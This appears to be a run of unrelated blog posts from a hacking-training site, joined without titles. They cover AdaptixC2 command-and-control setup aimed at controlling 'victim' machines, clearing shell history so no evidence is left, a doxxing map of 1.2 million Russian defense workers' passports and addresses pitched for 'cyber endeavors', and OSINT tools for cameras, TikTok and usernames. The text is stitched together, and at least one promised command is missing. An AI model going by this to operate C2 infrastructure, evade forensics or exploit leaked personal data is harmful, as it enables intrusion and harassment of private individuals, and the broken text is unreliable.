AdaptixC2 is inherently modular, leveraging “extenders” that act as plugins for both listeners and agents. This modular design allows hackers to create customized payloads and detection-evasion techniques tailored to their target systems. Additionally, it supports Beacon Object Files (BOFs), which let attackers execute small, custom programs written in C directly within the agent’s process, helping to evade detection.
The beacon agents in AdaptixC2 come loaded with specialized commands for quick and discreet data transfer. They are compatible with both x86 and x64 architectures and can be produced in various formats such as standalone executables, dynamic-link libraries, service executables, and raw shellcode. With this framework, cyberwarriors can efficiently exfiltrate data from the compromised network by configuring chunk sizes during file downloads and uploads, making smaller segments appear less suspicious to network detection systems.
Installation
AdaptixC2 is published on GitHub, and we can easily install it with the following command:
This command generates a self-signed SSL/TLS certificate along with its private key using OpenSSL.
Breaking down what happens: req -x509 tells OpenSSL to create a self-signed X.509 certificate rather than a certificate signing request. -nodes means the private key won’t be encrypted with a passphrase, so it can be used without prompting for a password each time. -newkey rsa:2048 generates a new 2048-bit RSA key pair at the same time. -keyout server.rsa.key specifies the file where the new private key will be saved, and -out server.rsa.crt specifies the file where the resulting certificate will be saved. Finally, -days 3650 sets the certificate’s validity period to 3650 days (10 years).
Since it doesn’t specify a -subj flag, OpenSSL will interactively prompt you for details like country when you run it, but we can just Tab and skip it all.
At this stage, we should have an SSL certificate and need to copy it to a dist directory:
kali> cp server.rsa.* ./dist
In the dist directory, we can also see a file called profile.yaml. It contains configuration for the AdaptixC2 server. This is different than what you normally expect from profiles such as Cobalt Strike or Nighthawk, which have everything tied together.
For this demonstration, I’ll leave everything at the default.
To start the AdaptixC2 server, run the following command:
kali> sudo ./adaptixserver -profile profile.yaml
That’s it; we’re ready to move into client configuration.
We need to begin with the pre_install script, but now run it for the client:
kali> sudo bash ./pre_install_linux_all.sh client
Lastly, what we need to do is make the client:
kali> make client
Getting Started
To get started, we just need to run the AdaptixC2 client binary:
kali> ./AdaptixClient
You’ll see a window like the one below.
In the profile.yaml we saw operator1 and operator2, but technically we can set up any username we want. But the default password is pass.
When everything is entered, we’re ready to click Connect. You’ll be greeted by the very clean UI.
From here, you can take a look at the tabs on the interface pane. In order of appearance from left to right, you have:
Notifications – View system and agent-related alerts.
Listeners & Sites – Here you can create, edit, and delete listeners.
Extension Docks – Manage and configure loaded extensions.
Session Table – List all connected agents with details like OS, user, computer, domain, sleep, and status.
Session Graph – Visual map of agent chains, lateral movement, and active tunnels.
Jobs & Tasks – View current and completed tasks assigned to agents.
Chat – Team chat for operator communication within the project.
Tunnels table – View current tunnels deployed by agents.
Downloads – View downloads from agents.
Targets table – Track and manage target hosts and networks.
Credentials – Store and manage harvested credentials (usernames, passwords, hashes, tickets, etc.).
Screens – View screenshots captured from agents.
The bottom pane is the agent console and acts very similarly to other GUI-based C2 clients such as Cobalt Strike.
Extension-Kit
So, the server is running, and the client is running. And the last step we need to do is to install Extension-Kit. This will add all the capabilities that will gonna make this tool worth using.
During the installation, you’ll see a lot of BOFs, or Beacon Object Files. Basically, they’re small C programs that modularly fit into AdaptixC2 to give more functionality.
After running the make command, we need to open AdaptixC2 > Extensions > Script Manager. Then, right-click and select Open New. Load extension-kit.axs from the Extension-Kit directory.
At this point of time we’re ready to go. Next time, we will teach you how to operate and control the victim machine with your C2.
Summary
AdaptixC2 shows great promise, and I highly recommend giving it a try. It could become a valuable addition to your toolkit. By following the steps outlined in this article, you’ll set up a fully functional framework. Stay tuned for future articles where we will continue to delve into command and control frameworks.
If you found this information useful, you might also be interested in our Hacking Infrastructure course. Additionally, consider joining our community by becoming a Subscriber PRO.
In our eventful time, the ability to communicate off-grid has become more valuable than ever. In telecommunications, “off-grid” means communicating without relying on traditional infrastructure, such as cell towers or Wi-Fi networks. It’s about staying connected (or at least able to send/receive messages) in places where that infrastructure doesn’t exist or has failed.
Whether you’re preparing for emergencies or want a decentralized communication network that doesn’t rely on cellular towers or internet infrastructure, Meshtastic is a great solution to check out.
In this article, we will explore what Meshtastic is and what it has to offer.
What is Meshtastic?
Meshtastic is a project that lets you use inexpensive LoRa-based transceivers as a long-range communication platform in areas with no existing infrastructure or unreliable communication infrastructure. Its core technology, LoRa, is a long-range radio protocol that’s available in most regions without requiring additional licensing or certification. The radios automatically relay received messages, forming a distributed mesh network that allows every member of a group to receive messages – even from the most distant participant. Depending on the settings used, a Meshtastic mesh can support up to around 80 device nodes (though generally more may be possible).
Meshtastic radios can be paired with a single phone so that your friends and family can send messages to your specific radio. Each device supports a connection from only one user at a time.
Among its notable features are a long communication range (with a record of 331 km), the ability to communicate without a phone, decentralized communication with no need for a single router, encrypted messaging, excellent battery life (depending on the device, though power efficiency is built into the software), and additional GPS-based location features (which can be turned off, or set to send a fake location) and more.
Key Purposes and Use Cases
These communication systems serve a few main purposes. First, they’re great for outdoor activities. For example, people use them while hiking, camping, backpacking, or off-roading. That’s because they let a group stay in touch over long distances, even without cell towers nearby.
On top of that, these systems matter a lot during emergencies. For instance, they can keep people connected during natural disasters, power outages, or other times when cell networks go down. In fact, this makes them a reliable backup when normal communication fails.
Finally, these systems also play a key role in search and rescue efforts. In these situations, staying connected can make all the difference.
Meshtastic Node Map
Additionally, they facilitate messaging in remote or restricted areas where connectivity is poor or internet access is limited. Community members and hobbyists use these systems to create local mesh networks for experimentation, conduct large-scale testing at events such as DEF CON, or establish backup communication systems for urban areas.
Ultimately, these universal communication systems enhance safety, build community connections, and ensure reliable communication in various challenging environments.
How Does Mashtastic Work?
Meshtastic operates on hardware such as ESP32-based boards (e.g., Heltec, LilyGO T-Beam) or pre-built nodes equipped with LoRa modules. These devices are programmed with Meshtastic firmware and function on unlicensed ISM radio bands, making them legal in most regions without the need for a ham radio license, although using higher power may require one in certain areas.
A LILYGO TTGO T-Beam running in client mode on battery power
Communication Process
Sending a Message: First, connect a Meshtastic device (called a “node”) to your phone. You can do this over Bluetooth. To do this, you’ll need a companion app. These are available for Android, iOS, the web, and desktop. Next, type your message in the app. Then, it gets sent to your node.
Broadcasting: After that, the node broadcasts the message over LoRa radio. The message is encrypted first, for safety. It’s worth noting that LoRa only works well for small amounts of data. So, it’s good for short text messages. However, it can’t handle voice or video.
Meshing and Relaying: Meanwhile, nearby nodes pick up the packet. Each node checks if the packet is new. This step matters, because nodes keep track of packets they’ve already seen. That way, they avoid sending duplicates. If the packet is new, though, the node rebroadcasts it. But first, it lowers a number called the “hop limit” by one. This limit is usually set to about 3. It exists so messages don’t loop forever. As a result, the message hops from node to node. Eventually, it either reaches its target or runs out of hops.
Receiving: Finally, the destination node gets the packet. Then, it decrypts the message using AES256 encryption, along with a shared channel key. After that, it sends the message to the connected app or phone, so you can read it. On top of that, nodes can also share their location. This way, everyone in the group can see where each other are on a map.
Differences Between LTE, 5G, and Meshtastic
Many of us depend on LTE and 5G networks daily, so it’s important to compare them with Meshtastic.
5–20+ km per hop (line-of-sight, terrain-dependent); extends via mesh
Nationwide/global where towers exist; indoor/outdoor
Similar to LTE but denser for high speeds; mmWave short-range
Data Speed
Very low: ~0.5–20 kbps (text-only, short messages)
5–100 Mbps typical (up to 300 Mbps peak)
100 Mbps–1+ Gbps typical (up to 10–20 Gbps theoretical)
Latency
Seconds to minutes (mesh hopping)
20–50 ms
1–10 ms (ultra-low for real-time apps)
Data Types
Text messages, GPS positions, basic telemetry
Voice, video, high-speed internet, apps
All LTE + AR/VR, IoT, autonomous vehicles
Power Consumption
Very low: Weeks/months on battery/solar
Moderate: Drains phone battery quickly
Higher (especially mmWave); improved efficiency in newer devices
Cost
Low one-time (devices + optional solar); no subscriptions
Monthly plan + device
Higher plans; premium for full speeds
Reliability in Outages
Excellent: Works off-grid, no single point of failure
Fails without power/towers (e.g., disasters)
Same as LTE; more vulnerable to congestion
Limitations
Text-only, slow, needs multiple nodes for range
Requires signal/subscription
Limited high-speed coverage; higher battery drain
These technologies serve different purposes: Meshtastic for resilient, infrastructure-independent communication in remote or emergency scenarios, versus LTE/5G for high-speed, everyday mobile internet and voice.
Summary
Meshtastic is a free and user-friendly tool that allows you to send messages without relying on the internet or mobile networks. It connects small, specialized devices to form a network, allowing communication over long distances. This makes it great for outdoor adventures, emergencies, or communication in remote areas.
Stay tuned as we continue to explore off-grid communication in future articles.
In the reconnaissance phase of any security engagement, information gathering is crucial. Previously, we discussed using Google Earth Pro for investigations. Today, let’s shift our focus from satellite OSINT to map‑based reconnaissance. Many of you are already familiar with Google Maps and its alternatives, such as OpenStreetMap (OSM). But did you know that you can easily extract specific data from OpenStreetMap, like security cameras or Wi‑Fi hotspots, using a tool called Overpass Turbo?
Let’s explore in this article how to leverage this powerful reconnaissance tool.
Step #1: Understanding Overpass Turbo Basics
Overpass Turbo is accessible at https://overpass-turbo.eu and requires no installation or registration. It provides a web-based interface for querying the Overpass API, which is OpenStreetMap’s data extraction engine.
The interface consists of three main components:
Query Editor (left side): Where you write your queries using the Overpass Query Language (QL)
Interactive Map (right side): Displays your query results geographically
Toolbar (top): Contains the Run button, Wizard, Export options, and settings
When you first access Overpass Turbo, you’ll see a default query loaded in the editor. The map displays the current viewport, which you can pan and zoom to focus on your area of interest.
The Query Wizard
For beginners, the Wizard tool (accessible from the toolbar) provides a simplified interface. You can enter search terms in plain English, and the Wizard converts them into proper Overpass QL syntax. For example:
Type: amenity=atm in London
Click “build and run query”.
The Wizard generates the appropriate query syntax and executes it automatically.
As a result, we can see a map of ATMs in London.
Step #2: Writing Overpass Queries
Overpass Query Language follows a specific structure. Let’s break down the anatomy of our query built by a wizard:
[out:json][timeout:25];
// fetch area “London” to search in
{{geocodeArea:London}}->.searchArea;
// gather results
nwr["amenity"="atm"](area.searchArea);
// print results
out geom;
It already includes comments, but for better understanding, let’s dive a bit deeper.
[out:json][timeout:25] – Sets the output format to JSON and limits the server-side execution time to 25 seconds.
{{geocodeArea:London}}→.searchArea; – A macro that resolves the administrative boundary of London (its OSM relation). The result is stored in a temporary set named .searchArea for later reference.
nwr["amenity"="atm"](area.searchArea); –nwr stands for nodes, ways, and relations.
OpenStreetMap uses three element types: nodes, which represent single-point locations such as cameras or Wi-Fi access points; ways, which represent lines and closed shapes such as roads or building outlines; and relations, which group nodes and ways together to represent features such as building complexes or campuses.
The filter ["amenity"="atm"] selects all OSM elements tagged as ATMs. (area.searchArea) restricts the search to the previously defined London area.
out geom; – Outputs the matching elements, including their full geometry (geom) – points with latitude/longitude, ways with their node lists, and relations with their member geometries.
Tag Filters
The core of your reconnaissance queries are the tag filters. Tags in OSM follow a key=value structure.
you can view a comprehensive list of possible keys and values. From a hacker’s perspective, you can examine the man_made key to discover surveillance‑related options.
Now, let’s edit out query and try to find out surveillance cameras in California.
[out:json][timeout:25];
{{geocodeArea:California}}->.searchArea;
nwr["surveillance"="camera"](area.searchArea);
out geom;
Now, let’s try to find data centers in Moscow.
[out:json][timeout:25];
{{geocodeArea:Moscow}}->.searchArea;
nwr["building"="data_center"](area.searchArea);
out geom;
Summary
OpenStreetMap data helps companies and independent researchers work more efficiently. And Overpass Turbo simplifies tasks such as tracking urban growth and analyzing surveillance patterns. OSINT investigators and cyberwarriors can also use it to extract precise information from OpenStreetMap’s extensive geographic database.
If you’d like to advance in OSINT, consider checking out our OSINT training class.
Among the areas that Linux newcomers find problematic, managing user environment variables is often the most obscure. Although Windows operating systems support environment variables, most users seldom—if ever—manage them. To get the most from our Linux hacking system, you need to both understand and manage environment variables for optimal performance, convenience, and possibly even stealth.
These environment variables are used in our particular user environment. In most cases, that environment will be your BASH shell. Each user, including root, has a set of environment variables with default values unless they’re changed. You can change these values to make our system work more efficiently and tailor our work environment to meet our individual needs best.
View Our Environment Variables
Let’s start by viewing all your environment variables by entering env.
Note that all environment variables are in all uppercase, such as HOME, PATH, SHELL, etc. As you will see later in this article, you can create your own user-defined variables (see below), and if you do, it is advisable—but not required—that they also be in all uppercase.
In addition, we can view all variables, including user-defined variables and command aliases, by entering the command set.
This command lists numerous variables specific to our system. In most cases, this list is so long that it can’t be viewed on a single page. To see all these variables line-by-line, you can pipe the output to the more command, such as:
Now, the list of variables fills up one screen and stops, waiting for us to hit the ENTER key to advance to the next line. You can do this until we come across any variable we are looking for. If we press ENTER a few times, we will find a variable named HISTSIZE. Hitting the ENTER key will take you through each of these variables, one by one. Whenever you use the more command for output, you can use the q to exit or quit and return to the command prompt.
Rather than scrolling through this long list of variables tediously looking for the variable of interest, you can use the filtering command grep to find it. For instance, as you saw above, there is a variable named HISTSIZE. This variable contains the number of commands stored in your command history file. That is, the commands that you have previously typed and can recall by using the UP and DOWN arrows from the BASH shell.
Let’s try to find it using set and filtering the output with grep to find the HISTSIZE variable.
As shown above, this command finds the variable HISTSIZE and displays its value. The default value of this variable is set to 1000 on your system. This means that the HISTSIZE variable stores your last 1000 commands by default.
Viewing Variables Values
The set command displays all your variable names, but if you want to see the value stored in the variable, you can use the keyword echo followed by the dollar sign $ and the variable name, such as:
It’s important to note that when you want to use the value stored in a variable, such as here, you need to put a $ before the variable name. The dollar sign ($) before the variable name indicates you want to work with the value inside the variable, rather than the label of the variable.
As I noted above, the HISTSIZE variable contains the number of commands stored in our history file. As you can see in this screenshot, the HISTSIZE variable is set to 1000. In some cases, we may NOT want our past commands stored in the history file. This may be because you don’t want to leave any evidence of your activity on the system. In that case, you can set your HISTSIZE variable to 0, and the system will NOT store any past commands.
Now, when we try to use the UP or DOWN arrows to recall commands, nothing happens because the system no longer stores them. Stealthy, but inconvenient.
Exporting our Environment Variables
When you change an environment variable, it’s only for that particular environment. In this case, that environment is the BASH shell. This means that once we close that terminal, any changes we made to these variables are lost or reset to their default values. If we want the value to remain for our next terminal session and another terminal session, we need to export the variable. Think of it as “exporting” the new value from your current environment (the BASH shell) to the rest of the system so that it is available in every environment.
We can do this by simply entering export and then the variable name, such as:
Now, the HISTSIZE variable is set to 0 when we leave this environment and return later. Of course, we can set the HISTSIZE variable back to 1000 by simply entering:
Changing Our Shell Prompt
The default shell prompt in Kali takes the following format;
username@hostname:current_directory>
If you are the root user, this translates to a default prompt of;
root@kali:current_directory
We can change the default command prompt by setting the PS1 variable. This variable has a specific set of placeholders for information to be inserted into the prompt. These include;
u =name of the current user
h = host name
W= current working directory
Let’s have a little fun and change the prompt in our terminal. The environment variable that contains our prompt for the first terminal is PS1. We can change it by typing:
Now, every time you open a terminal, you are reminded that you are “World’s Best Hacker”.
Remember that our pr ompt will now be “World’s Best Hacker” whenever we open the first terminal (PS1), but the second terminal will still be the default command prompt. This means that if we really like this new command prompt and want to keep it, we need to export the variable PS1 so that each time we open this terminal or any terminal, the prompt will be “World’s Best Hacker: #”
Changing Our Path Variable
Probably the most important variable in our environment is our PATH variable. This variable controls where your shell looks for the commands you type, such as cd, ls, and echo (they are usually located in the sbin or bin sub-directories, such as /usr/local/sbin or/usr/local/bin). If the BASH shell doesn’t find the command in one of the directories in our path, it returns an error “command not found” even if it DOES exist in another directory not in our PATH.
Let’s take a look at the contents of our PATH variable by echoing its contents:
Notice the directories included in our PATH variable. These are usually the/bin and /sbin directories, where our system commands are found. When we type ls, the system knows to look in each of these directories for the ls command, and when it does, it executes it.
If we were to download and install a new hacking tool named “newhackingtool” into the /root/newhackingtool directory, we could only use it when we were in that directory. This means that every time we wanted to use that tool, we had to navigate to /root/newhackingtool first. That might be just fine, but a bit inconvenient. To be able to use this new tool from ANY directory, you could add this directory to the PATH variable.
To add this newhackingtool directory to our PATH variable, you can enter:
In this command, you are saying “take the PATH variable (PATH) and assign it (=) the value of the old PATH variable ($PATH) and add /root/newhackingtool.”
It’s important to note here that we have appended the /root/newhackingtool directory to your PATH variable. If you now go back and examine the contents of the PATH variable, you will see that this directory has been appended to the end of the PATH.
This means when you want to run your newhackingtool, you won’t need to navigate to the /root/newhackingtool directory. You can now execute newhackingtool applications from anywhere on your system. The BASH shell will now look in that directory for our new tool!
A common mistake made by those new to Linux is to assign the new directory, /root/newhackingtool, to the PATH variable, such as;
kali > PATH=/root/newhackingtool
kali > echo $PATH
/root/newhackingtool
Now, your PATH command ONLY contains the/root/newhackingtool directory, not the system binaries directories such as /bin, /sbin, and others. This is NOT good. In this case, when you go to use any of the system commands, you are likely to receive the error “command not found” (unless in the unlikely case you are in the system binaries directories when you execute it).
kali > cd
bash: cd: command not found
kali >
Remember, you want to append to the PATH variable, not replace.
This can be a very useful technique for directories we use often, but be careful not to add too many directories to your PATH variable, as the system will have to search through each directory in the PATH to find commands, which could potentially slow down your terminal and your hacking.
Creating a New User-Defined Variable
You can create your own custom, user-defined variables in Linux by simply assigning a value to your new variable. The syntax is rather straightforward; first the name of your variable, then the assignment symbol “=”, and finally the value in the variable, such as;
kali > MYNEWVARIABLE = “Hacking is the most valuable skill set in the 21st century”
Now, to see the value in that variable, you can use the echo command followed by the $ and the variable name.
kali > echo $MYNEWVARIABLE
Hacking is the most valuable skill set in the 21st century
If you want to delete this new variable or any system- or user-defined variable, you can use the unset command. You should be cautious when deleting a system variable, as your system will likely operate very differently afterwards.
kali > unset MYNEWVARIABLE
Summary
Although environment variables seem a bit obscure, they can control the settings and appearance of your Linux working environment. You can manage them to tailor our environment to your needs by changing any of those variables and exporting the changes. In addition, we can create new variables to help manage your system.
For more information on using Linux for hacking, check out the book “Linux Basics for Hackers” on Amazon or visit our training center.
In the ongoing war between Ukraine and Russia, the battlefield has expanded far beyond trenches and artillery positions. In previous articles, we discussed how hackers attack Russian SCADA/ICS systems, conduct reconnaissance by hacking cameras, and much more. Hacktivists operate alongside conventional military forces to degrade enemy capabilities.
Recently, Ukrainian OSINT communities have published an interactive map cataloging 6,088 Russian defense factories, complete with detailed personal information on 1.2 million employees working within Russia’s military-industrial complex. This isn’t simply a list of company names and addresses. The database includes passport numbers, phone numbers, email addresses, and home addresses for over a million individuals involved in producing everything from missile systems and ammunition to drones and electronic warfare equipment.
In this article, we will analyze this database and explore how it may assist hackers in future cyber operations. Let’s get rolling!
Fire Up the Map
To get started with the map, open the website https://map.osint-varta.com/ in your browser. The site’s default language is Ukrainian, but you can easily translate the content using the built-in translator in your browser or by using a translation plugin.
Upon opening the website, you will see an interactive map displaying defense factories.
The website catalogs 6,088 enterprises spanning from Kaliningrad to Vladivostok, including factories involved in weapon production, repairs, and support infrastructure. All these factories are sorted by 16 production sectors for precise searches. For example:
Key Component Manufacturing (1,320 enterprises) – Suppliers of critical parts like electronics and materials.
Repair, Modernization, and Maintenance (1,231 enterprises) – Facilities keeping Russia’s arsenal operational.
Radioelectronics and Electronic Warfare (420 enterprises) – Tech for jamming signals and cyber defenses.
And more, covering everything from small arms to chemical protection gear.
By scrolling down, we can see company categories organized by sector, sanction status, and risk indicators.
Let’s take a closer look at the Radioelectronics and EW category. Here, we can access a well-organized page that allows us to search for the required company.
For example, let’s explore LLC “RESONANCE” in more detail.
At the top of the page, we find a wealth of information, such as whether the company is under sanctions, what it produces, a description of the company, and other relevant details. By scrolling down, we can access even more valuable information, including employee details.
This information includes names, passport data, email addresses, phone numbers, and locations – all of which can be easily exported as a CSV file.
Additionally, in the navigation bar, we can click “Managers” to search for CEOs and founders. The webpage provides the Tax Identification Number, positions, and relationships with the companies.
If you find the lists unclear, the website also provides graphs that illustrate the relationships between the companies.
Summary
The recently published database by Ukrainian OSINT communities offers a significant resource for understanding Russia’s military-industrial complex. The interactive map provides in-depth details about each company, including employee data that could be leveraged in future cyber endeavors.
Kubernetes is now the go-to standard for container orchestration, running mission-critical applications in numerous organizations. However, like any complex system, Kubernetes clusters may have hidden vulnerabilities that attackers can target. But before you begin your Kubernetes journey, let’s take a moment to familiarize you with some essential concepts.
What Does Kubernetes Do?
Kubernetes has become the top platform, transforming application deployment, scaling and management. But what does it actually do? Here’s a breakdown:
Runs Containers in a Container Engine: Kubernetes runs containerized applications using runtimes like Docker or CRI-O. It packages apps into containers, deploys them across clusters, and manages their lifecycle.
Efficiently Schedules Containers: Kubernetes optimizes resource utilization by intelligently scheduling containers on the best nodes, balancing workloads for performance and efficiency.
Keeps Containers Alive: It monitors container health, automatically restarting failed containers and rescheduling them on other nodes when necessary, ensuring high availability.
Facilitates Container Communication: Kubernetes handles networking with IP assignment, service discovery, load balancing, and network policies that manage traffic flow between containers and external services.
Supports Various Deployment Techniques: It offers rolling updates, blue-green deployments, canary releases, and automated scaling, ensuring flexibility and minimizing downtime during updates.
Handles Volumes of Information: Kubernetes supports persistent storage, managing volumes independently of containers to ensure data persistence across restarts and reschedules.
Kubernetes Architecture
Kubernetes gives you the platform to schedule and run containers on clusters of physical or virtual machines. Kubernetes architecture divides a cluster into components that work together to maintain the cluster’s defined state.
A Kubernetes cluster is a set of node machines for running containerized applications. You can visualize a Kubernetes cluster as two parts: the control plane and the compute machines, or nodes. Each node is its own environment, and could be either a physical or virtual machine. Each node runs pods, which are made up of containers.
The Kubernetes API (application programming interface) is the front end of the Kubernetes control plane and is how users interact with their Kubernetes cluster. The API server determines if a request is valid and then processes it.
The Kubernetes API is the interface used to manage, create, and configure Kubernetes clusters. It’s how the users, external components, and parts of your cluster all communicate with each other.
Node: The operating system that runs one or more Pods.
Pod: A wrapper around one or more containers, typically hosting a single application. In most cases, a Pod contains just one container. Pods abstract the underlying container technology in Kubernetes.
Service: Each Pod has its own internal IP, but a Service exposes it externally or internally. The Service acts as a load balancer, ensuring that even if a Pod dies and is replaced (with a different IP), it remains accessible at the same IP of the Service.
Kubelet: The primary agent on each node. It manages the communication between the node and Kubernetes, ensuring only Pods created by Kubernetes are managed. It interacts with the API server to run and monitor Pods.
Kube-proxy: This service facilitates communication between the API server and nodes by managing network rules via iptables.
Sidecar Container: Sidecar containers run alongside the main container within a Pod. They extend functionality without altering the primary container. These containers focus on specialized tasks, complementing the main application.
Master Components:
API Server: The gateway for communication between users, Pods, and the master process. Only authenticated requests are allowed.
Scheduler: Responsible for matching Pods to Nodes based on resource availability. It communicates with the Kubelet to launch Pods but doesn’t start them directly.
Kube Controller Manager: This component ensures that the correct number of Pods or Nodes are running. It checks resources like replica sets and deployments and, if a Pod is missing, triggers the Scheduler to start a new one. It also manages replication, tokens, and API account services.
etcd: Kubernetes’ persistent, consistent, and distributed key-value storage. It logs every change, storing the complete state of the cluster. Components like the Scheduler and Controller Manager rely on etcd to track changes in node resources and the number of running Pods.
Cloud Controller Manager: This manages cloud-specific controls, such as when clusters run on platforms like AWS or OpenStack.
Volumes: When data needs to persist beyond the lifecycle of a Pod, it is stored in a physical volume. Kubernetes allows the attachment of local or remote storage to a Pod.
How Kubernetes Works
Kubernetes operates on the principle of maintaining the desired state of a cluster by continuously comparing it with the actual state. This process ensures that applications and services are running as intended, and any deviations are automatically corrected.
In Kubernetes, the desired state represents what you want your applications and infrastructure to look like. This state is defined through Kubernetes objects, which are configurations submitted by developers or system administrators using YAML or JSON files. These files specify various details, including the number of application replicas, the container images to use, resource allocations, and other configuration parameters.
Once a Kubernetes object is created and its desired state is defined, Kubernetes works to ensure that this state is consistently achieved. The system continuously monitors the cluster and takes corrective actions to align the actual state with the defined desired state.
Consider a scenario where you deploy an application with a desired state of having three replicas running at all times. If one of these containers fails, the replica set controller will notice that only two replicas are active. It will then create a new container to replace the failed one, thereby restoring the total number of replicas to the desired state.
Replica sets are a specific type of controller responsible for ensuring that a specified number of Pods (the smallest deployable units in Kubernetes) are running. They handle the scaling and replacement of Pods as needed.
Kubernetes Deployments
A Deployment helps you specify important details about your application, such as which container images to use and how many instances (Pods) of the application should be running. Instead of manually managing updates or scaling, a Deployment automates these tasks.
When you create a Deployment, Kubernetes sets up and maintains the specified number of Pods to match your requirements. If you need to update the application—say, by changing the version of the container image—the Deployment handles this update automatically. It does so in a way that keeps your application running with minimal disruption.
If something goes wrong with an update, you can easily roll back to a previous version using the Deployment. This ensures that you can revert to a stable state without manual intervention. Additionally, you can scale your application up or down by adjusting the number of Pods in the Deployment. Kubernetes takes care of creating or removing Pods as needed to match your desired scale.
Deployments also give you control over how updates are applied. You can pause an update if you need to review or make changes, and then resume it when you’re ready.
Kubernetes Deployments make it easier to manage your applications by automating repetitive tasks like updating and scaling. This means less manual work and more reliable operations, helping you keep the applications running smoothly and consistently.
Summary
Now you have a foundational understanding of Kubernetes and its key concepts. Mastering Kubernetes will enhance your ability to hack a system. Stay tuned for our upcoming articles to dive deeper into advanced topics and techniques.
Welcome back, aspiring cyberwarriors and OSINT investigators!
Today, we’re diving deeper into the world of social media OSINT, focusing specifically on TikTok. What started as a simple short-video app has rapidly transformed into a major global player, boasting over one billion active users who are constantly creating, sharing, and engaging with content at an unprecedented rate. While many view TikTok purely as a source of entertainment, this article will uncover how we can leverage various tools to gather valuable insights, including location data, network connections, and metadata. So, let’s get rolling!
Step #1: Decoding TikTok URL Metadata
Let’s dive into our first tool, Unfurl. This tool wasn’t created specifically for TikTok, but it’s useful for quickly gathering basic information about videos. Its name perfectly describes its purpose: it unfurls or unravels URL structures to uncover the valuable information embedded within them.
When you share a TikTok video, the URL carries much more than just a simple link to the content. TikTok encodes identifiers, timestamps, and metadata right into the URL, often in formats that aren’t easily decipherable at first glance. Unfurl takes these URLs and translates the embedded data into clear, visual formats, making analysis much more straightforward.
The interface is simple. Paste any TikTok video link into this field and click the Unfurl button. The tool processes the URL and generates a tree diagram showing all extracted metadata.
The screenshot above shows that we have extracted the video ID, a unique identifier assigned to each video on the platform. Additionally, the author’s username and timestamps embedded in TikTok URLs indicate when the content was published. Unfurl processes these timestamps from their encoded formats and translates them into easily readable dates and times.
It’s very simple, but it can sometimes be useful when doing an investigation. Just paste the link, and you’ll get the date and time.
Step #3: Gathering TikTok Account Intelligence
Let’s shift our focus to account-level insights rather than just individual video metadata. To do so, there’s a website called omar-thing.site that can help.
To begin, simply enter the username of the account you wish to explore and submit your query.
The results start with the avatar, which can be downloaded for further analysis. The account name and display name are extracted separately.
The account location is shown as the country where it was registered or where TikTok believes the user is based, in this case, Belarus. The account’s language is also listed.
Below that is the bio (blurred here due to ads), followed by key stats and details: the permanent user ID, creation date, dates of any username changes, and whether the account is private or public.
At the bottom of those details, we can find lists of followers and of those being followed. We can click to explore them further or download the information for analysis later.
Summary
By using a few simple tools, you can uncover a wealth of valuable information from TikTok. This article serves as a starting point for exploring this social media platform not just as a source of entertainment, but also as a treasure trove of insights.
If you’re looking to enhance your OSINT skills beyond just using these tools, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.
Most people are actively represented on social media. Moreover, they maintain their pages quite actively and publish a huge amount of interesting information about themselves. Therefore, if a person caught our attention during OSINT, it definitely makes sense to find their social media pages and examine them.
In this article, we will figure out how to effectively search by nickname using the Sherlock utility. Let’s get rolling!
What Does Sherlock Do?
Sherlock is an open-source OSINT tool designed to find usernames across a wide range of social networks and websites. It can currently check for a given username across 400+ websites and platforms, allowing investigators to quickly determine where a username is active.
Sherlock is designed to be straightforward for open source investigations: it does not require API keys or login credentials for the sites it checks; instead, it simply constructs the expected profile URL for each site and observes the response to determine whether the username exists on a given platform. This means it only accesses publicly available information and cannot bypass privacy settings or account restrictions.
Sherlock Installation & Usage
To install Sherlock, open a Linux terminal and run the command below.
kali> sudo apt install sherlock
Once the installation is complete, verify that Sherlock is installed correctly by running the help command:
kali> sherlock –help
After reviewing the help, we can move on directly to the search. We can do this by simply running the following command in the terminal:
kali> sherlock <username>
After some time, we can see 49 positive results. However, as with any tool, it’s important to verify whether these profiles match the person you’re searching for.
The results will be saved to a .txt file named after the search term. But according to the help screen, we can save the results in XLSX and CSV formats as well.
kali> sherlock <username> –csv
In the screenshot above, you can see at the top the command itself and at the bottom the results in CSV format.
Another valuable feature is limiting the scope to certain sites, for example, Instagram and GitHub.
kali> sherlock <username> –site GitHub –site Instagram
Moreover, we can modify the timeout and route requests through a proxy. The default timeout is 60 seconds, but let’s try reducing it to 1 second.
kali> sherlock –timeout 1 <username>
Summary
Sherlock is a powerful OSINT tool that offers a fast and efficient way to search for social media profiles across multiple platforms. It’s definitely one to add to your research toolbox!
If you want to improve your OSINT skills, check out this OSINT Investigator Bundle. It covers both fundamental and advanced techniques and includes an OSINT Certified Investigator Voucher.
Login
